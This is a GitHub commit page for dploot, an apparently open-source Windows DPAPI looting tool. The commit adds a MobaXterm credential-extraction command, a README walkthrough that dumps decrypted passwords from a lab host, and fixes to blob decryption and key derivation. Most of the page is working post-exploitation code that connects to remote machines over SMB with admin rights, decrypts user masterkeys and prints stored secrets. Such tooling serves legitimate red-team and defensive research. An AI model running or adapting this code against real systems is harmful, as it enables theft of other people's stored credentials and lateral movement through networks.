Skip to content

Commit

Permalink
Mobaxterm password extraction (#18)
Browse files Browse the repository at this point in the history
* fix deriveKeysFromUser

* add stack trace for debugging

* fix blob_decryption

* add mobaxterm option

* code upgrade on certificates

* update readme
  • Loading branch information
zblurx authored Apr 2, 2024
1 parent 3472a88 commit 6f7d219
Show file tree
Hide file tree
Showing 8 changed files with 546 additions and 49 deletions.
28 changes: 28 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
- [wifi](#wifi)
- [sccm](#sccm)
- [backupkey](#backupkey)
- [mobaxterm](#mobaxterm)
- [Credits](#credits)
- [TODO](#TODO)

Expand Down Expand Up @@ -715,6 +716,33 @@ PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a40000
[-] Exporting domain backupkey to file key.pvk
```

### mobaxterm

The **mobaxterm** command will extract MobaXterm secrets and masterpassword key from hive (HKU) and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. If the user is not connected on the remote target, dploot will download and extract secrets from NTUSER.dat.

With `pvk`:

```text
dploot rdg -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e
{21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e
[*] Triage MobaXterm Secrets
[MOBAXTERM CREDENTIAL]
Name: TEST
Username: user
Password: waza1234
[MOBAXTERM PASSWORD]
Username: mobauser@mobaserver
Password: 309554moba231082pass322883
```

## Credits

Those projects helped a lot in writting this tool:
Expand Down
96 changes: 96 additions & 0 deletions dploot/action/mobaxterm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
import argparse
import logging
import sys
from typing import Callable, Tuple

from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target, add_target_argument_group
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.mobaxterm import MobaXtermTriage

NAME = 'mobaxterm'

class MobaXtermAction:

def __init__(self, options: argparse.Namespace) -> None:
self.options = options
self.target = Target.from_options(options)

self.conn = None
self._is_admin = None
self._users = None
self.outputdir = None
self.masterkeys = None
self.pvkbytes = None

if self.options.mkfile is not None:
try:
self.masterkeys = parse_masterkey_file(self.options.mkfile)
except Exception as e:
logging.error(str(e))
sys.exit(1)

self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)

def connect(self) -> None:
self.conn = DPLootSMBConnection(self.target)
if self.conn.connect() is None:
logging.error("Could not connect to %s" % self.target.address)
sys.exit(1)

def run(self) -> None:
self.connect()
logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else "")))
if self.is_admin:
if self.masterkeys is None:
masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords)
logging.info("Triage ALL USERS masterkeys\n")
self.masterkeys = masterkeytriage.triage_masterkeys()
if not self.options.quiet:
for masterkey in self.masterkeys:
masterkey.dump()
print()

triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
logging.info("Triage MobaXterm Secrets\n")
_, credentials = triage.triage_mobaxterm()
for credential in credentials:
if self.options.quiet:
credential.dump_quiet()
else:
credential.dump()

else:
logging.info("Not an admin, exiting...")

@property
def is_admin(self) -> bool:
if self._is_admin is not None:
return self._is_admin

self._is_admin = self.conn.is_admin()
return self._is_admin

def entry(options: argparse.Namespace) -> None:
a = MobaXtermAction(options)
a.run()

def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:

subparser = subparsers.add_parser(NAME, help="Dump Passwords and Credentials from MobaXterm")

group = subparser.add_argument_group("mobaxterm options")

group.add_argument(
"-mkfile",
action="store",
help=(
"File containing {GUID}:SHA1 masterkeys mappings"
),
)

add_masterkeys_argument_group(group)
add_target_argument_group(subparser)

return NAME, entry
2 changes: 2 additions & 0 deletions dploot/entry.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@
machinetriage,
browser,
wifi,
mobaxterm,
)


Expand All @@ -41,6 +42,7 @@
machinetriage,
browser,
wifi,
mobaxterm,
]

def main() -> None:
Expand Down
2 changes: 1 addition & 1 deletion dploot/lib/crypto.py
Original file line number Diff line number Diff line change
Expand Up @@ -242,13 +242,13 @@ def decrypt_chrome_password(encrypted_password: str, aeskey: bytes):

def deriveKeysFromUser(sid, password):
password = password.encode('utf-16le')
sid = sid.encode('utf-16le')
z_sid = (sid + '\0').encode('utf-16le')
password_md4 = MD4.new(password).digest()
# Will generate two keys, one with SHA1 and another with MD4
key1 = HMAC.new(SHA1.new(password).digest(), z_sid, SHA1).digest()
key2 = HMAC.new(password_md4, z_sid, SHA1).digest()
# For Protected users
sid = sid.encode('utf-16le')
tmpKey = pbkdf2_hmac('sha256', password_md4, sid, 10000)
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid, 1)[:16]
key3 = HMAC.new(tmpKey2, z_sid, SHA1).digest()[:20]
Expand Down
70 changes: 35 additions & 35 deletions dploot/lib/dpapi.py
Original file line number Diff line number Diff line change
Expand Up @@ -198,56 +198,56 @@ def decrypt_blob(blob_bytes:bytes, masterkey:Any, entropy = None) -> Any:
key = unhexlify(masterkey.sha1)
decrypted = None
if entropy is not None:
decrypted = blob.decrypt(blob, key, entropy=entropy)
decrypted = decrypt(blob, key, entropy=entropy)
else:
decrypted = decrypt(blob, key)
return decrypted

def decrypt(blob, keyHash, entropy = None) -> "bytes | None":
hash_algo = ALGORITHMS_DATA[blob['HashAlgo']][1]
sessionKey = HMAC.new(keyHash, blob['Salt'], hash_algo)
if entropy is not None:
sessionKey.update(entropy)

sessionKey = sessionKey.digest()

# Derive the key
derivedKey = blob.deriveKey(sessionKey)

crypto = ALGORITHMS_DATA[blob['CryptAlgo']]
cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3])
cleartext = unpad(cipher.decrypt(blob['Data']), crypto[1].block_size)

# Now check the signature

# ToDo Fix this, it's just ugly, more testing so we can remove one
toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4])

# Calculate the different HMACKeys
block_size = hash_algo.block_size
pad_block = keyHash.ljust(block_size, b'\x00')
for algo in [compute_sessionKey_1, compute_sessionKey_2]:
sessionKey = algo(keyHash, blob['Salt'], hash_algo, block_size, entropy)
sessionKey = sessionKey.digest()
derivedKey = blob.deriveKey(sessionKey)
crypto = ALGORITHMS_DATA[blob['CryptAlgo']]
cipher = crypto[1].new(derivedKey[:crypto[0]], mode=crypto[2], iv=b'\x00'*crypto[3])
cleartext = cipher.decrypt(blob['Data'])
try:
cleartext = unpad(cleartext, crypto[1].block_size)
except ValueError as e:
if "Padding is incorrect" in str(e):
pass
# Now check the signature
# ToDo Fix this, it's just ugly, more testing so we can remove one
toSign = (blob.rawData[20:][:len(blob.rawData)-20-len(blob['Sign'])-4])
hmac_calculated = algo(keyHash, blob['HMac'], hash_algo, block_size, entropy)
hmac_calculated.update(toSign)
if blob['Sign'] == hmac_calculated.digest():
return cleartext
return None

def compute_sessionKey_1(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes):
pad_block = key_hash.ljust(block_size, b'\x00')
ipad = bytearray(i ^ 0x36 for i in pad_block)
opad = bytearray(i ^ 0x5c for i in pad_block)

a = hash_algo.new(ipad)
a.update(blob['HMac'])
a.update(salt)

hmacCalculated1 = hash_algo.new(opad)
hmacCalculated1.update(a.digest())
computed_key = hash_algo.new(opad)
computed_key.update(a.digest())

if entropy is not None:
hmacCalculated1.update(entropy)

hmacCalculated1.update(toSign)
computed_key.update(entropy)
return computed_key

hmacCalculated3 = HMAC.new(keyHash, blob['HMac'], hash_algo)
def compute_sessionKey_2(key_hash: bytes, salt: bytes, hash_algo: object, block_size: int, entropy: bytes):
computed_key = HMAC.new(key_hash, salt, hash_algo)
if entropy is not None:
hmacCalculated3.update(entropy)

hmacCalculated3.update(toSign)

if blob['Sign'] in (hmacCalculated1.digest(), hmacCalculated3.digest()):
return cleartext
return None
computed_key.update(entropy)

return computed_key

def find_masterkey_for_blob(blob_bytes:bytes, masterkeys: Any) -> "Any | None":
blob = DPAPI_BLOB(blob_bytes)
Expand Down
26 changes: 15 additions & 11 deletions dploot/triage/certificates.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
from dataclasses import dataclass

from impacket.dcerpc.v5 import rrp
from impacket.system_errors import ERROR_NO_MORE_ITEMS

from Cryptodome.PublicKey import RSA
from cryptography import x509
Expand Down Expand Up @@ -99,18 +100,21 @@ def loot_system_certificates(self) -> Dict[str,x509.Certificate]:
certificates = {}
ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, my_certificates_key, samDesired=rrp.KEY_ENUMERATE_SUB_KEYS)
keyHandle = ans['phkResult']
try:
for index in range(100):
enum_ans = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, index)
i = 0
while True:
try:
enum_ans = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i)
certificate_keys.append(enum_ans['lpNameOut'][:-1])
rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)
except rrp.DCERPCSessionError as e:
if e.error_code == 0x00000103:
pass
elif logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.debug(str(e))
i += 1
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
import traceback
traceback.print_exc()
logging.error(str(e))
rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle)

for certificate_key in certificate_keys:
try:
regKey = my_certificates_key + '\\' + certificate_key
Expand Down
6 changes: 4 additions & 2 deletions dploot/triage/masterkeys.py
Original file line number Diff line number Diff line change
Expand Up @@ -106,8 +106,10 @@ def triage_masterkeys(self) -> List[Masterkey]:
try:
masterkeys += self.triage_masterkeys_for_user(user)
except Exception as e:
logging.debug(str(e))
pass
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.debug(str(e))
return masterkeys

def triage_masterkeys_for_user(self, user:str) -> List[Masterkey]:
Expand Down
Loading

0 comments on commit 6f7d219

Please sign in to comment.